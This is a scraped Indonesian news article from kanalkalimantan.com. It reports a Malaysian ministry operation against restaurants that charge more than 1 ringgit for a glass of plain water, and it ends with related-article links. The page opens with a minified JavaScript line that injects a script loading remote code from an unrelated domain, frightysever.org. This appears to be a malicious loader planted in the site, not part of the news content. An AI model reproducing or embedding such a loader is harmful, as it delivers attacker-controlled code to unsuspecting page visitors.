(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Pihak berwenang Malaysia menindak restoran yang menjual segelas air es atau air putih melebihi batas harga yang ditentukan yakni sebesar 1 ringgit atau sekitar Rp 3.500.
Menyadur World Of Buzz, Minggu (11/4/2021) Kementerian Perdagangan Dalam Negeri dan Urusan Konsumen (KPDNHEP) menindak restoran dan tempat makan yang mengenakan biaya lebih dari 1 ringgit untuk segelas air putih.
KPDNHEP menggelar operasi yang dinamakan dengan Ops Catut 8.0 (Air Biasa). Operasi tersebut saat ini berlangsung di restoran kelas atas, kedai makanan cepat saji, waralaba, restoran, dan kios di seluruh negeri hingga 15 April.
Sebanyak 12 pemberitahuan terhadap penyedia makanan dan minuman telah dikeluarkan karena menjual air putih di atas harga yang ditetapkan yakni 1 ringgit (Rp 3.500) per gelas sejak operasi dimulai.
Baca juga : Pemkab HSU Keluarkan Surat Edaran Terkait Ramadhan
“Pedagang yang diberi pemberitahuan diberi waktu dua hingga lima hari kerja untuk memberikan informasi yang diperlukan seperti yang diinstruksikan.” jelas Direktur KPDNHEP Selangor Muhammad Zikril Azan Abdullah.
Konsumen dapat mengajukan pengaduan terkait masalah ini dan praktik perdagangan tidak bermoral lainnya di e-aduan@kpdnhep.gov.my. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.